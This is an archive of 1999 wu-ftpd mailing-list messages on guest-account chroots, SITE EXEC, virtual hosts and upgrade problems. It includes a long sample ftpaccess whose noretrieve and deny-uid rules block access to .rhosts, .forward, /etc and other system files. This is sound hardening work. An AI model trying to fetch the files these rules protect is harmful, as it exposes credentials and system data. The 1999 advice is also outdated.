X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Thanks a lot.
Can you show me how to do that in details?

Hanbing

Gregory A Lundberg wrote:

> On Sun, 28 Mar 1999, Hanbing Yan wrote:
>
> > I setup a guest group of wu-ftp and use chroot. It works properly. But
> > I don't want every user has /home/userx/bin and /home/usrx/lib. Can
> > guest users share the /bin & /lib and at the same time they can't see
> > each other's file and directory?
>
> Yes. The feature appeared in V16: restricted-uid/restricted-gid. Of
> course it had a bug (effecting IE and Netscape); the bug will be fixed
> Thurday in VR17.
>
> --
>
> Gregory A Lundberg Senior Partner, VRnet Company
> 1441 Elmdale Drive [email protected]
> Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Mon Mar 29 10:05:21 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id KAA23829;
Mon, 29 Mar 1999 10:05:20 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id KAA02565;
Mon, 29 Mar 1999 10:00:14 -0600 (CST)
Received: from eagle2.wrightexpress.com (wrightexpress.com [207.121.36.2])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id JAA26938
for <[email protected]>; Mon, 29 Mar 1999 09:56:06 -0600 (CST)
Received: from pwm03msg2.wrightexpress.com by eagle2.wrightexpress.com
via smtpd (for wugate.wustl.edu [128.252.120.1]) with SMTP; 29 Mar 1999 15:56:06 UT
Received: by PWM03MSG2.wrightexpress.com with Internet Mail Service (5.5.2232.9)
id <HFWGF5SD>; Mon, 29 Mar 1999 11:03:07 -0500
Message-Id: <B695D6910CE9D111996D00A0C939E68802A4BFF1@PWM03MSG2.wrightexpress.com>
Date: Mon, 29 Mar 1999 11:03:06 -0500
Reply-To: [email protected]
Sender: [email protected]
From: "Callaway, John" <[email protected]>
To: "'[email protected]'" <[email protected]>
Subject: SITE EXEC directories for guest users
MIME-Version: 1.0
Content-Type: text/plain;
charset="iso-8859-1"
X-Mailer: Internet Mail Service (5.5.2232.9)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

We have a need on our internal FTP server to execute a job after transfers
are done (i.e. our Mainframe programmers cannot figure out how to get us
acceptable files). I am looking for a non-cron/daemon solution to this for
maintenance reasons.

The issues are as follows:
Our mainframe computer sends files to a Linux box using ASCII
transfer mode
The Linux box is connected to the internal network via SMB protocol
The files need to be stored in DOS format (CR/LF delimited) in order
for our internal users to access the files via applications.

I have tried to get the programmers to create records with CR as the last
character, but they can't get it right. To get around there inadequacies, I
created a secured script to run 'todos', which works fine for a real users
using SITE EXEC command.

For security purposes, the mainframe connects using a guest user in order to
keep it from writing in areas where it should not. The script will not run,
although I can run SITE EXEC (I placed 'ls' in the /bin/ftp-exec directory
to test this.)

If I can't do this using a script or perl, I will write a C program. I have
also considered a Windows program that users can run to convert the files,
but discarded it. The current solution is to have them do an FTP transfer
to convert the file.

I would like to keep from writing a 'C' program because our company has
limited 'C' talent and I am moving on to another position. I am looking for
either a simple UNIX script or Perl solution, if possible.

------------------------------------------------------
John Callaway
Webmaster/UNIX Systems Programmer
Wright Express

http://www.wrightexpress.com

From [email protected] Mon Mar 29 10:28:03 1999
Received: from relay5.UU.NET (relay5.UU.NET [192.48.96.15])
by landfield.com (8.9.0/8.9.0) with ESMTP id KAA24062;
Mon, 29 Mar 1999 10:28:02 -0600 (CST)
Received: from relay5.UU.NET by relay5.UU.NET with ESMTP
(peer crosschecked as: root@localhost)
id QQgiqr12717;
Mon, 29 Mar 1999 11:24:43 -0500 (EST)
Received: from wugate.wustl.edu by relay5.UU.NET with ESMTP
(peer crosschecked as: wugate.wustl.edu [128.252.120.1])
id QQgiqr12708;
Mon, 29 Mar 1999 11:24:41 -0500 (EST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id KAA31819;
Mon, 29 Mar 1999 10:19:45 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id KAA29269
for <[email protected]>; Mon, 29 Mar 1999 10:16:45 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id LAA11483;
Mon, 29 Mar 1999 11:16:32 -0500
Message-Id: <[email protected]>
Date: Mon, 29 Mar 1999 11:16:32 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Hanbing Yan <[email protected]>
Cc: wu-ftpd <[email protected]>
Subject: Re: How can guests share the /bin & /lib file?
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Mon, 29 Mar 1999, Hanbing Yan wrote:

> Can you show me how to do that in details?

> > > I setup a guest group of wu-ftp and use chroot. It works properly. But
> > > I don't want every user has /home/userx/bin and /home/usrx/lib. Can
> > > guest users share the /bin & /lib and at the same time they can't see
> > > each other's file and directory?
> >
> > Yes. The feature appeared in V16: restricted-uid/restricted-gid. Of
> > course it had a bug (effecting IE and Netscape); the bug will be fixed
> > Thurday in VR17.

This is full-on VR16/VR17 .. if you want to use it you *MUST* upgrade.

-- Caveats

I have the following local-site standards and recommend them to everyone:

- All UID and GID < 100 are reserved for non-humans such as sendmail,
apache and wu-ftpd.

- All UID/GID >= 100 are normal users or one sort or another.

- All UID/GID >= 100 have UID == default GID; although they may be
members of other groups in /etc/group

- All UID/GID >= 100 are FTP guests unless I say otherwise

- All UID/GID >= 100 have homes in /home/users

- This is a Linux system and all binaries are statically linked. No PAM.
That means we can run using the bare minimum. YMMV on your system.

-- Example users

- A few of the system accounts.
root -- of course
Root won't be allowed to FTP, but is listed because we want to
always remember he's there and is a big security threat.

ftp -- the anonymous ftp user
Even if you're not going to be allowing anonymous FTP, set up as
if you will. That way a mistake down the line doesn't give your
successor a nasty surprise. Besides, you might change you mind.

ftpadmin -- the ftp server administrator
I know a lot of people use rott to own and administer their FTP
sites. I cannot discourage that strongly enough.

- A couple normal, Unix shell users.

steve
Steve called and wanted to be able to privately exchange files with
some friends via anonymous FTP. After some discussion, a private
area of the base server was agreed upon. BTW .. his friends think
he's cool the way he's set up and he thinks he's got a great ISP
'cause this took all of 30 seconds to set up when he asked for it.

edie
Steve's wife. She does some web stuff using Frontpage's FTP
wizard.

- A software house who doesn't want a virtual host, but wants a password-
protected area for their customers. After discussion, it was
determined that a single password for all customers was acceptable;
their only goal was to keep non-customers out.

swshop -- the software shop's Unix shell account
swuser -- their guests

- An agency who want a virtual host, with anonymous access, and a special
password- protected area as well. Again, one password for each guest.

agency -- the agency's Unix shell account
aguest -- their guests

This email is long enough, I'll let you puzzle out the various passwd and
group files and what should go in them. The example site
( ftp://ftp.vr.net/pub/wu-ftpd/examples/ ) should help.

-- Filesystem layout

- The anonymous FTP area has the following directories:

/home/ftp
/home/ftp/bin
/home/ftp/dev
/home/ftp/etc
/home/ftp/incoming
/home/ftp/private
/home/ftp/private/ftpadmin
/home/ftp/private/ftpadmin/incoming
/home/ftp/private/steve
/home/ftp/private/steve/incoming
/home/ftp/pub

- The user area has the following directories:

/home/users
/home/users/bin
/home/users/dev
/home/users/etc
/home/users/steve
/home/users/edie
/home/users/swshop
/home/users/agency

- The software shop's guests are under the control of the shop

/home/users/swshop/ftp
/home/users/swshop/ftp/bin
/home/users/swshop/ftp/dev
/home/users/swshop/ftp/etc
/home/users/swshop/ftp/incoming
/home/users/swshop/ftp/private
/home/users/swshop/ftp/pub

- The agency's site and guests are under the control of the agency

/home/users/agency/ftp
/home/users/agency/ftp/bin
/home/users/agency/ftp/dev
/home/users/agency/ftp/etc
/home/users/agency/ftp/incoming
/home/users/agency/ftp/private
/home/users/agency/ftp/pub

This email is long enough, I'll let you puzzle out permissions. The
example site ( ftp://ftp.vr.net/pub/wu-ftpd/examples ) should help a lot
with this.

-- IP layout

FTP.example.com [10.0.1.1] -- the main, default FTP server

FTP.agency.example.com [10.0.1.2] -- the virtual host for the agency

-- /etc/ftpaccess

loginfails 3

class user real,guest *
class anon anonymous *

limit user 75 SaSu|Any1800-0600
limit user 35 Any
limit anon 35 Any
#
# 'user' class is usually via dialup so the limits are arbitrary
#
# 'anon' 35 is from expermentation on a 128K ISDN for a moderately busy
# site. It allowed in enough users to not turn them away at peak times
# yet places a limit on total load in case something goes really wrong.

hostname ftp.example.com
email [email protected]

virtual 10.0.1.2 root /home/users/agency/ftp
virtual 10.0.1.2 banner /home/users/agency/ftp-banner
virtual 10.0.1.2 hostname ftp.agency.example.com
virtual 10.0.1.2 email [email protected]
virtual 10.0.1.2 allow agency
#
# By default, the server will only allow anonymous and guest access to the
# virtual host. Guest access is only allowed if the chroot point for the
# guest is the same as the root for the virtual host: in this case, the
# user 'aguest'. Our customer will pitch a fit if they cannot use their
# own site, so we need to specifically allow them in.

deny-uid %-99
deny-gid %-99
allow-uid ftp
allow-gid ftp
#
# I don't care what anyone else says .. don't let ANY users in with a UID
# or GID less than 100. Of course, 'ftp' is in that range, so we need to
# specifically allow that user in or anonymous FTP won't work.
#
# Remember, the 100-limit is a Linux thing. It's another value on some
# systems. Take a look at your adduser script or /etc/passwd and see what
# it looks like you system uses.

guestuser *
realuser ftp
realuser ftpadmin
#
# Everyone is a guest. Period. Unless _I_, root, say otherwise. The
# 'ftp' user is 'real' here (daemon oddity, sorry) otherwise anonymous FTP
# won't work. And, for what it's worth, the ftpadmin is a real user.

restricted-uid *
unrestricted-uid ftpadmin
#
# All real/guest users are restricted to their homes. Period. Again,
# unless _I_, root, say otherwise. ftpadmin is allowed to roam at will.

anonymous-root /home/ftp
#
# Forget /etc/passwd .. I want the anonymous FTP site rooted here.

guest-root /home/users
#
# Forget /etc/passwd .. all guests are rooted here. With the following
# exceptions for customers' guest sites:
#
guest-root /home/users/swshop/ftp swuser
guest-root /home/users/agency/ftp aguest

message .welcome login
message .message cwd=*
readme README* cwd=*

compress yes *
tar yes *

private no

passwd-check rfc822 warn

log transfers real,anonymous,guest inbound,outbound
log security real,anonymous,guest
log commands real,anonymous,guest
#
# If it's logable, log it. Perl can deal with the mess later.
# Just don't forget to rotate the log files !!!

shutdown /etc/shutmsg

chmod no anonymous
delete no anonymous
overwrite no anonymous
rename no anonymous
umask no anonymous

autogroup ftponly local remote anon

path-filter anonymous,guest /etc/pathmsg ^[-A-Za-z0-9_\.]*$ ^\. ^-

upload /home/users/ftpadmin * no
upload /home/users/ftpadmin /tmp yes nodirs
upload /home/users/ftpadmin /home/users/ftpadmin yes
upload /home/users/ftpadmin /home/users/ftpadmin/* yes
upload /home/users/ftpadmin /home/ftp/ftpadmin yes ftpadmin ftpadmin 440 nodirs
upload /home/users/ftpadmin /home/ftp/private/*/incoming yes * * 440 nodirs
#
# I like to restrict the ftpadmin to only being able to upload into his
# own home directory, the anonymous area, and the system tmp directory.

upload /home/ftp * no
upload /home/ftp /incoming yes ftpadmin ftpadmin 440 nodirs
upload /home/ftp /private/*/incoming yes * * 440 nodirs
#
# Anonymous users can upload only into the anonymous area.

upload /home/users/swshop/ftp * no
upload /home/users/swshop/ftp /incoming yes swshop swuser 400 nodirs
#
# Guest users of the software shop's can only upload into the incoming
# area.

upload /home/users/agency/ftp * no
upload /home/users/agency/ftp /incoming yes agency aguest 400 nodirs
#
# Anonymous and guest users of the agency can only upload into the
# incoming area.

upload /home/users/* / no
upload /home/users/* /bin no
upload /home/users/* /bin/* no
upload /home/users/* /etc no
upload /home/users/* /etc/* no
upload /home/users/* /dev no
upload /home/users/* /dev/* no
upload /home/users/* /swshop/ftp/bin no
upload /home/users/* /swshop/ftp/bin/* no
upload /home/users/* /swshop/ftp/etc no
upload /home/users/* /swshop/ftp/etc/* no
upload /home/users/* /swshop/dev no
upload /home/users/* /swshop/dev/* no
upload /home/users/* /agency/ftp/bin no
upload /home/users/* /agency/ftp/bin/* no
upload /home/users/* /agency/ftp/etc no
upload /home/users/* /agency/ftp/etc/* no
upload /home/users/* /agency/dev no
upload /home/users/* /agecny/dev/* no
#
# All users (including ftpadmin and the guests of our customers) are
# specifically prevented from uploading into any of the areas needed to
# make the ftp site work.

noretrieve core
noretrieve .notar
noretrieve .forward
noretrieve .rhosts
noretrieve /dev/
noretrieve /proc/
noretrieve /lost+found/
noretrieve /home/ftp/bin/
noretrieve /home/ftp/etc/
noretrieve /home/ftp/dev/
noretrieve /home/ftp/lost+found/
noretrieve /home/users/bin/
noretrieve /home/users/etc/
noretrieve /home/users/dev/
noretrieve /home/users/lost+found/
noretrieve /home/users/swshop/ftp/bin/
noretrieve /home/users/swshop/ftp/etc/
noretrieve /home/users/swshop/ftp/dev/
noretrieve /home/users/swshop/ftp/lost+found/
noretrieve /home/users/agency/ftp/bin/
noretrieve /home/users/agency/ftp/etc/
noretrieve /home/users/agency/ftp/dev/
noretrieve /home/users/agency/ftp/lost+found/
#
# Don't let *ANYONE* grab copies of any of these files or any files in
# these directories. Period.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Mon Mar 29 11:10:51 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id LAA24530;
Mon, 29 Mar 1999 11:10:50 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id LAA18974;
Mon, 29 Mar 1999 11:05:23 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id LAA17790
for <[email protected]>; Mon, 29 Mar 1999 11:01:12 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id MAA11869;
Mon, 29 Mar 1999 12:00:52 -0500
Message-Id: <[email protected]>
Date: Mon, 29 Mar 1999 12:00:52 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Hanbing Yan <[email protected]>
Cc: wu-ftpd <[email protected]>
Subject: Re: How can guests share the /bin & /lib file?
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

A brief comment about shutdown, and oops, a line crept in from my live
ftpaccess ... and a rant about 'ftponly'

On Mon, 29 Mar 1999, Gregory A Lundberg wrote:

> shutdown /etc/shutmsg

This is problematic. I never shutdown my FTP server using ftpshut so I've
never fixed it. The problem is this: to work for all virtual hosts, guest
and anonymous users, the file '/etc/shutdown' needs to be visible from
every one of those chroot'd areas.

My recommendation: if you must shut down the server, do it via inetd or by
killing the standalone daemon. Users will get the hint when the
connection is refused.

Someday, I promise, I'll get arround to fixing the 'shutdown' feature so
it's actually usable by mere mortal system administrators.

> autogroup ftponly local remote anon

For the site I'm discussing, this should read:

autogroup ftponly user anon

--

This use of the group 'ftponly' and the idea of FTP-only users (who cannot
use Telnet/shell) is the source of great confusion.

Membership in the group 'ftponly' does *NOT* mean the user cannot use
telnet/shell.

The idea is there are files which you want *ANONYMOUS* FTP users to be
able to see but which you do not want telnet/shell users looking at.
Message and readme files, for instance, might fall in that category.

A number of documents, including the FAQ, suggest creating a special shell
and adding it to /etc/shells so FTP-only users (who cannot use
telnet/shell) are properly adminished. This shell s typically called
/bin/ftponly. It is NOT related to the 'ftponly' group.

I class users in three ways here, and I don't bother with /bin/ftponly as
a shell:

Normal users, who can use telnet/shell are given a real shell from
/etc/shells (this is Linux, so it's usually /bin/bash).

FTP-only users, who can NOT use telnet/shell are given a fake shell from
/etc/shells of /bin/false. This causes a telnet/shell session to
immedeately terminate. Since it is listed in /etc/shells, they are
allowed to use FTP. Since most of my users are guests, and virtually all
of them use PPP dialups and don't know about or want telnet access, this
is the default shell on my server.

Non-FTP users (ie., Frontpage web sites and many of the adminstrative
accounts like 'mail' for sendmail) don't want to be allowed in via any
means: FTP, telnet or shell. For those users I set the shell to
/bin/true which is NOT listed in /etc/shells. This is a backstop to the
deny-uid/deny-gid ftpaccess clause which should have kept the users out
before we even look at their shell.

A posting on Bugtraq last night indicated a user had problems with the use
of /bin/ftponly .. it is my opinion that he suffers from the confusion
between the oft-used example group 'ftponly' and the concept of FTP-only
users.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Mon Mar 29 14:52:54 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id OAA27418;
Mon, 29 Mar 1999 14:52:53 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id OAA01896;
Mon, 29 Mar 1999 14:47:08 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id OAA32331
for <[email protected]>; Mon, 29 Mar 1999 14:42:05 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id PAA14334;
Mon, 29 Mar 1999 15:41:57 -0500
Message-Id: <[email protected]>
Date: Mon, 29 Mar 1999 15:41:57 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: "[email protected]" <[email protected]>
Cc: WU-FTPD Discussion List <[email protected]>
Subject: Re: User can not disconnect
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Mon, 29 Mar 1999, M. Nour wrote:

> Included is the log file for you to look at it (use notepad).

I think you forgot the log file. Send it over privately. Also, notepad
no work on Unix but I can deal with that.

> Log file does not show any error message. At the same time, I don't
> see usual "Goodbye" reply from the server which the application is
> waiting for.

> Do you have any idea why this user is not able to disconnect?

Probably because the author of the control you're using didn't read the
RFC. Or at least they didn't implement what they read.

Redesign your application to quit immedeately after it's don and not wait
for the closing messages. Rudely walking away in the middle of the
conversation is the way your control author expects you to behave.

BTW, parsing the FTP responses is a Bad Idea (tm) unless you _carefully_
read the RFC to see which messages have specified formats after the
response code. When you're looking for "Goodbye" what you need to say is:
"I sent QUIT and I'm waiting for a 200-series response."

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Mon Mar 29 17:34:10 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id RAA29705;
Mon, 29 Mar 1999 17:34:09 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id RAA02336;
Mon, 29 Mar 1999 17:28:30 -0600 (CST)
Received: from optima.cs.arizona.edu (optima.CS.Arizona.EDU [192.12.69.5])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id RAA17933
for <[email protected]>; Mon, 29 Mar 1999 17:26:00 -0600 (CST)
Received: from lectura.CS.Arizona.EDU (lectura.CS.Arizona.EDU [192.12.69.186])
by optima.cs.arizona.edu (8.9.1a/8.9.1) with ESMTP id QAA17053
for <[email protected]>; Mon, 29 Mar 1999 16:25:51 -0700 (MST)
Received: from localhost (localhost [127.0.0.1])
by lectura.CS.Arizona.EDU (8.9.1a/8.9.1) with ESMTP id QAA11925
for <[email protected]>; Mon, 29 Mar 1999 16:25:57 -0700 (MST)
Message-Id: <[email protected]>
Date: Mon, 29 Mar 1999 16:25:57 -0700 (MST)
Reply-To: [email protected]
Sender: [email protected]
From: Jim Davis <[email protected]>
To: WU-FTPD Discussion List <[email protected]>
Subject: Moving servers?
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Once upon a time our anonymous ftp archive lived on cs.arizona.edu. Then
it moved to ftp.cs.arizona.edu. Since then I've been running tcpwrapper
banners on the old system to tell people to go to ftp.cs.arizona.edu, but
that doesn't help if they point 'n click on ftp://cs.arizona.edu/whatever
instead of going through the front door first. I've fiddled around with
netcat, trying to get it to bounce connections to the right place
automatically, but I couldn't figure out the right incantation to get both
the data and command streams forwarded correctly. Anyone with a slick
solution to moving an ftp server? I'd like to run the bare minimum on the
old machine, ftp-wise.

From [email protected] Mon Mar 29 21:25:47 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id VAA10992;
Mon, 29 Mar 1999 21:25:46 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id VAA05302;
Mon, 29 Mar 1999 21:20:53 -0600 (CST)
Received: from nms.optonline.net (nms.optonline.net [167.206.1.107])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id VAA04153
for <[email protected]>; Mon, 29 Mar 1999 21:18:39 -0600 (CST)
Received: from optonline.net (hicks219-182.optonline.net [167.206.219.182])
by nms.optonline.net (8.9.1/8.9.1) with ESMTP id WAA23246;
Mon, 29 Mar 1999 22:18:38 -0500 (EST)
Message-Id: <[email protected]>
Date: Mon, 29 Mar 1999 22:20:58 -0500
Reply-To: [email protected]
Sender: [email protected]
From: harry <[email protected]>
To: [email protected]
Subject: Guest account setup problem
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Mailer: Mozilla 4.06 [en] (Win98; I)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Hello,

I am running into a bit of problem while setting up a guest account.
Everytime a guest user logs on, they are able to see the whole path to
there ftp directory. I have used the guide written by Michael Brennen
as a reference.

The password file is succesfully changing the users to there home ftp
directory, however as I mentioned, the users are still able to see there
full path and cd up a directory.

Any ideas?? Could my chroot be corrupted?? I am running wu-ftpd on
Ultra 30 running solaris7

Thank you for your time and help

Harry

From [email protected] Mon Mar 29 21:44:47 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id VAA12473;
Mon, 29 Mar 1999 21:44:46 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id VAA04177;
Mon, 29 Mar 1999 21:40:00 -0600 (CST)
Received: from mail-atm.nycap.rr.com ([email protected] [24.92.32.1])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id VAA05344
for <[email protected]>; Mon, 29 Mar 1999 21:37:22 -0600 (CST)
Received: from yua (cm-29-44-47.nycap.rr.com [24.29.44.47])
by mail-atm.nycap.rr.com (8.9.1/8.9.1) with SMTP id WAA04062;
Mon, 29 Mar 1999 22:37:17 -0500 (EST)
Message-Id: <[email protected]>
Date: Mon, 29 Mar 1999 22:38:09 -0500
Reply-To: [email protected]
Sender: [email protected]
From: "Alex Yu" <[email protected]>
To: <[email protected]>, <[email protected]>
Subject: RE: Guest account setup problem
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2014.211
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

> The password file is succesfully changing the users to there home ftp
> directory, however as I mentioned, the users are still able to see there

Let's say this. If your ftp home is /ftp, your guest dir is /ftp/usr/guest,
and you have direct their initial dir as /ftp/./usr/guest, of course that
they can cd up a directory. They can change to wherever they want under
/ftp unless they don't have permission to enter.

Alex

From [email protected] Mon Mar 29 22:18:27 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id WAA14739;
Mon, 29 Mar 1999 22:18:26 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id WAA24123;
Mon, 29 Mar 1999 22:13:33 -0600 (CST)
Received: from mail-atm.nycap.rr.com ([email protected] [24.92.32.1])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id WAA08296
for <[email protected]>; Mon, 29 Mar 1999 22:06:23 -0600 (CST)
Received: from yua (cm-29-44-47.nycap.rr.com [24.29.44.47])
by mail-atm.nycap.rr.com (8.9.1/8.9.1) with SMTP id XAA25454
for <[email protected]>; Mon, 29 Mar 1999 23:06:21 -0500 (EST)
Message-Id: <[email protected]>
Date: Mon, 29 Mar 1999 23:07:13 -0500
Reply-To: [email protected]
Sender: [email protected]
From: "Alex Yu" <[email protected]>
To: <[email protected]>
Subject: RE: Guest account setup problem
In-Reply-To: <Pine.GSO.4.02.9903292301510.539-100000@apollo>
MIME-Version: 1.0
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2014.211
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

> I have them setup as /home/ftp/./abc... the users are able to
> get all the

Do you add user in <ftproot>/etc/passwd?

Alex

From [email protected] Tue Mar 30 07:35:13 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id HAA28747;
Tue, 30 Mar 1999 07:35:12 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id HAA06312;
Tue, 30 Mar 1999 07:28:38 -0600 (CST)
Received: from relay2.nswc.navy.mil (relay2.nswc.navy.mil [128.38.48.157])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id HAA12723
for <[email protected]>; Tue, 30 Mar 1999 07:20:03 -0600 (CST)
Received: (from root@localhost)
by relay2.nswc.navy.mil (8.8.8+Sun/8.8.8) id IAA00522
for [email protected]; Tue, 30 Mar 1999 08:24:13 -0500 (EST)
Received: from cosiptac.nswc.navy.mil (cosiptac.nswc.navy.mil [128.38.162.195])
by relay2.nswc.navy.mil (8.8.8+Sun/8.8.8) with ESMTP id IAA00517
for <[email protected]>; Tue, 30 Mar 1999 08:24:12 -0500 (EST)
Received: (from bmccorm@localhost) by cosiptac.nswc.navy.mil (8.7.1/8.7.1) id IAA05310; Tue, 30 Mar 1999 08:24:52 -0500 (EST)
Message-Id: <[email protected]>
Date: Tue, 30 Mar 1999 08:13:32 -0400 (EDT)
Reply-To: [email protected]
Sender: [email protected]
From: Bruce McCormick <[email protected]>
To: [email protected]
Subject: Can't login
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

I'm trying to upgrade my ftpd from 2.4.2-Beta16 to 2.4.2-VR16 under HPUX
10.20. Everything seems to check out ok however no users can login. I'm
not getting "class" errors in my log, the banner displays fine, just can't
login any users. Any ideas?

Thanks

Bruce McCormick

From [email protected] Tue Mar 30 08:28:11 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id IAA29560;
Tue, 30 Mar 1999 08:28:10 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id IAA14485;
Tue, 30 Mar 1999 08:23:11 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id IAA29135
for <[email protected]>; Tue, 30 Mar 1999 08:19:58 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id JAA23576;
Tue, 30 Mar 1999 09:19:04 -0500
Message-Id: <[email protected]>
Date: Tue, 30 Mar 1999 09:19:03 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Bruce McCormick <[email protected]>
Cc: [email protected]
Subject: Re: Can't login
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Tue, 30 Mar 1999, Bruce McCormick wrote:

> I'm trying to upgrade my ftpd from 2.4.2-Beta16 to 2.4.2-VR16 under
> HPUX 10.20. Everything seems to check out ok however no users can
> login. I'm not getting "class" errors in my log, the banner displays
> fine, just can't login any users. Any ideas?

check the syntax of your class statements in your ftpaccess file. The VR
version is a bit more critical of subtle errors. For instance, where the
following would workunder an academ version (like the beta-16 you were
running), it won't work under a VR version:

class users real,guest,anonymous 10.*

instead, you'll need to be a bit more specific:

class users real,guest,anonymous 10.*.*.*

or, using netmasks:

class user real,guest,anonymous 10.0.0.0:255.0.0.0

or, using CIDR (which I recommend):

class user real,guest,anonymous 10.0.0.0/8

the problem was, under some older versions of the daemon, 10.* would match
too much .. like 10.hacker-site.example.com

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Tue Mar 30 10:23:57 1999
